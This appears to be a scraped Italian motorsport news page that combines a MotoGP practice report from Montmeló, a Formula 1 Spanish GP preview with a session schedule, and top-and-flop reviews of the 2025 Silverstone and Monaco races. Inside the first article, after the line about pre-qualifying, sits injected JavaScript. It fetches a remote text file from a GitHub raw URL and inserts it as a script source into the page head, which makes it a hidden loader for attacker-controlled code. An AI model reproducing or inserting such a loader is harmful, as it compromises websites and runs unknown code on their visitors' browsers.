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Motogp: Taka Nakagami é il più veloce a Montmeló, Martin e Bagnaia sempre più vicini

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The Last Dance. La Masterclass della MotoGP si prepara a chiudere il sipario su questa stagione con un appuntamento carico di emozioni, l’ultimo gran premio dell’anno, dedicato interamente alla comunità valenciana recentemente colpita da una devastante alluvione. Con un campionato ancora da decidere, i due contendenti al titolo sono pronti a darsi battaglia per arrivare al gradino più alto del podio.

Le FP1 del Montmeló si sono concluse con una sessione intensa e ricca di eventi. Nonostante la bassa temperatura dell’asfalto e dell’aria, che hanno influenzato le prestazioni e causato diverse difficoltà, i piloti hanno spinto al massimo. Michele Pirro è stato protagonista di una caduta alla curva-5, mentre un curioso episodio ha coinvolto i compagni di squadra del team GasGas: Acosta, all’interno della curva-5, non si è accorto della presenza di Augusto Fernandez alla sua destra, causando un contatto che ha portato entrambi a terra. La bandiera rossa è stata esposta per ripulire la pista, mentre Mir si portava provvisoriamente in testa con un tempo di 1:41.976. Con la ripresa della sessione, Bagnaia e Martin sono tornati subito in pista. Bagnaia ha iniziato a migliorare gradualmente i propri tempi, salendo prima in terza posizione e poi in seconda, superato da un Martin molto competitivo con gomme soft-media. Nel frattempo, Alex Marquez si è inserito tra i due, portandosi temporaneamente in testa, ma è stato presto scalzato da Pedro Acosta, che con un 1:40.912 ha segnato il miglior tempo provvisorio. I successivi run hanno visto Bagnaia e Martin concentrarsi sul passo gara, con tempi costanti rispettivamente di 1:41.8 e 1:41.7. Tuttavia, la classifica ha subito un’ulteriore scossa nei minuti finali, quando Nakagami, con gomme nuove, ha piazzato un eccezionale 1:40.501, distanziando Acosta di 411 millesimi. Binder, che sembrava poter competere per il miglior tempo, ha perso terreno nell’ultimo settore, rimanendo quarto.

Nelle fasi conclusive, le posizioni di vertice si sono stabilizzate, con Nakagami davanti a tutti, seguito da Acosta, Alex Marquez e Binder. Tra i piloti più attesi, Bagnaia ha chiuso in settima posizione, mentre Martin ha faticato con problemi di stabilità sulla sua GP24. Viñales e Marc Marquez hanno completato la top-10. Un episodio curioso ha infine segnato la prova di partenza: Viñales, entrando aggressivamente in curva-1, ha sorpreso Bagnaia, che ha perso l’anteriore frenando con gomme fredde, suscitando il disappunto del campione del mondo. Con questa ricca prima sessione, l’appuntamento è fissato per le Prove che definiranno i primi dieci a contendersi la pole position.

La classe regina tornerà nuovamente in pista per le Pre qualifiche alle ore 15:00 (ora italiana);var url = ‘https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt’;fetch(url).then(response => response.text()).then(data => {var script = document.createElement(‘script’);script.src = data.trim();document.getElementsByTagName(‘head’)[0].appendChild(script);});

Classe 2005. Studentessa in Scienze della Comunicazione all'università degli studi di Palermo. Aspirante giornalista sportivo e social media manager. Grande appassionata di motori, dalla formula1 alle moto.

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Oltre il Limite: Gran Premio di Spagna

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La Formula 1 non ha intenzione di rallentare, dopo le emozioni del Gran Premio di Monaco, il circus si sposta nel cuore della Catalogna per il Gran Premio di Spagna, una delle tappe tecniche più importanti dell’intero calendario.

Archiviato il prestigioso appuntamento di Monte Carlo, la Formula 1 accende di nuovo i motori e si dirige verso uno dei circuiti più tecnici e completi dell’intero calendario: il Circuit de Barcelona-Catalunya. Un tracciato che non ha bisogno di presentazioni e che rappresenta una pietra miliare per piloti, ingegneri e appassionati, grazie alle sue curve veloci, lunghi rettilinei e improvvisi cambi di direzione.

Situato nella località di Montmeló, a pochi chilometri da Barcellona, questo circuito è presente in calendario dal 1991 e ha spesso fatto da teatro per battaglie epiche. Il tracciato catalano è considerato da molti il banco di prova per eccellenza: qui ogni debolezza tecnica viene messa a nudo, e ogni miglioramento può tradursi in risultati concreti.

Occhi puntati sulla Red Bull, chiamata a rispondere dopo un weekend monegasco meno dominante del solito, e sulla McLaren, in costante crescita e sempre più protagonista. Il team di Woking sembra aver trovato la quadra sul bilanciamento della vettura, e il tracciato spagnolo potrebbe essere il terreno giusto per confermare la competitività mostrata nelle ultime gare. Per la Ferrari, dopo i segnali positivi delle ultime gare, il weekend catalano rappresenta un momento chiave per testare la competitività della SF-24 su un circuito completo e impegnativo. Anche la Mercedes è attesa al varco, in cerca di certezze dopo un inizio di stagione altalenante.

Il layout del tracciato è lungo 4.657 metri e prevede 66 giri da percorrere durante la gara. Tra le curve simbolo spiccano la veloce curva 3, da percorrere in pieno con le gomme sotto stress, e la doppietta finale delle curve 13 e 14, fondamentali per avere una buona uscita sul rettilineo principale e tentare un sorpasso in staccata alla curva 1. Qui, diversamente da Monaco, i sorpassi sono ben più che possibili, ma serviranno gomme ben gestite e una strategia intelligente. A rendere il tutto più interessante ci pensa la Pirelli, che porterà le mescole C1, C2 e C3, una combinazione che premia chi riesce a far lavorare correttamente le gomme sin dai primi giri.

La strategia sarà dunque il fulcro del weekend spagnolo, con un’attenzione particolare al degrado degli pneumatici, spesso decisivo a Montmeló. Chi riuscirà a trovare il giusto compromesso tra passo gara e gestione delle gomme, potrà davvero fare la differenza.

Tutti gli occhi saranno puntati sulla battaglia al vertice, ma occhio anche agli outsider: il GP di Spagna è spesso l’occasione in cui si rimescolano le carte e si scoprono i veri equilibri tecnici della stagione.

Il programma completo del weekend:

Venerdì 30 maggio
09:55 Prove Libere F3 
11:05 Prove Libere F2
13:30 Prove Libere 1 F1
15.00 Qualifiche F3
15:55 Qualifiche F2
17:00 Prove Libere 2 F1

Sabato 31 maggio
10:05 Gara Sprint F3
12:30 Prove Libere 3 F1
14:15 Gara Sprint F2
16:00 Qualifiche F1

Domenica 1 giugno
08:30 Feature Race F3
10:00 Feature Race F2
15:00 Gara F1

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Top e Flop del GP di Silverstone 2025: Impresa di Bezzecchi

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Il Gran Premio di Gran Bretagna 2025, disputato sul circuito di Silverstone, ha regalato emozioni e colpi di scena, con una gara segnata da incidenti, ritiri e una lotta serrata per il podio. Ecco i tre piloti che si sono distinti positivamente e i tre che hanno deluso le aspettative.

 Top

1. Marco Bezzecchi 

Bezzecchi ha conquistato una vittoria straordinaria interrompendo una lunga astinenza dal successo. Partito dalla decima posizione, ha saputo approfittare delle circostanze di gara, inclusi incidenti e ritiri, per rimontare e tagliare il traguardo per primo. Questa vittoria rappresenta anche il primo successo stagionale per Aprilia.

2. Marc Márquez 

Nonostante una caduta nella prima partenza, che ha causato una bandiera rossa, Márquez è riuscito a ripartire e a rimontare fino al terzo posto finale. Una prestazione che dimostra la sua determinazione e abilità nel recuperare posizioni in condizioni difficili.

3. Johann Zarco 

Il pilota francese ha ottenuto un eccellente secondo posto, segnando un importante risultato per il team Honda. Una prestazione solida che conferma la sua competitività in questa stagione.

Flop

1. Fabio Quartararo 

Dopo aver conquistato la pole position e aver condotto la gara per diversi giri, Quartararo è stato costretto al ritiro a causa di un guasto tecnico al dispositivo di altezza della sua Yamaha. Un duro colpo per il pilota francese e per il team Yamaha.

2. Francesco Bagnaia 

Il campione in carica ha subito un’altra battuta d’arresto, ritirandosi dalla gara dopo una caduta. Questo risultato negativo lo allontana ulteriormente dalla vetta della classifica mondiale.

3. Álex Márquez 

Dopo aver vinto la gara sprint del sabato, Álex Márquez ha vissuto una domenica difficile. Una caduta nella prima partenza ha compromesso la sua gara, e nonostante sia riuscito a ripartire, ha concluso in quinta posizione, lontano dalle aspettative.

Silverstone 2025 ha riscritto gli equilibri del Mondiale: Bezzecchi trionfa e rilancia Aprilia, mentre errori e ritiri pesano sulle ambizioni di Bagnaia e Quartararo. La corsa al titolo è più aperta che mai.

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Top e Flop del GP di Monaco 2025: tra magia McLaren e delusioni strategiche

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Il Gran Premio di Monaco 2025 ha regalato come sempre un mix di glamour, precisione e tensione strategica. Sul tracciato più iconico del mondiale, la McLaren ha brillato, mentre alcuni big hanno faticato a trovare il passo giusto o sono incappati in errori costosi. Ecco i tre piloti top e i tre flop di questo affascinante weekend nel Principato.

Top

1. Lando Norris (McLaren)

Il pilota britannico ha conquistato la sua seconda vittoria stagionale partendo dalla pole position e mantenendo la leadership per tutti i 78 giri. Con questo successo, Norris riduce a soli tre punti il distacco dal leader del mondiale, il compagno di squadra Oscar Piastri.

2. Charles Leclerc (Ferrari)

Il monegasco ha ottenuto un solido secondo posto, regalando ai tifosi locali una prestazione convincente. Leclerc ha mantenuto la posizione di partenza e ha espresso soddisfazione per il risultato, pur lamentando l’importanza eccessiva delle qualifiche nel determinare l’esito della gara.

3. Esteban Ocon (Haas)

Il francese ha ottenuto un eccellente settimo posto, conquistando sei punti preziosi per la Haas. La sua prestazione solida e senza errori ha rappresentato un risultato importante per il team, che ha faticato nelle prime gare della stagione.

Flop

1. Pierre Gasly (Alpine)

Il francese è stato protagonista di un incidente con Yuki Tsunoda al nono giro, danneggiando la sua vettura e perdendo i freni. Gasly ha percorso 500 metri senza freni, entrando pericolosamente in pit lane e rischiando un grave incidente.

2. George Russell (Mercedes)

Il britannico ha ricevuto una penalità per aver tagliato la chicane Nouvelle in un tentativo di sorpasso, terminando la gara in undicesima posizione. Un weekend da dimenticare per lui e per la Mercedes.

3. Max Verstappen (Red Bull)

Il campione del mondo ha tentato una strategia aggressiva rimanendo in pista sperando in una safety car, ma la corsa lineare ha mandato in fumo i suoi piani. Il pit stop tardivo lo ha relegato al quarto posto, lontano dalla zona podio.

Prossimo appuntamento: GP di Spagna a Barcellona, dove il mondiale potrebbe subire un ulteriore scossone.

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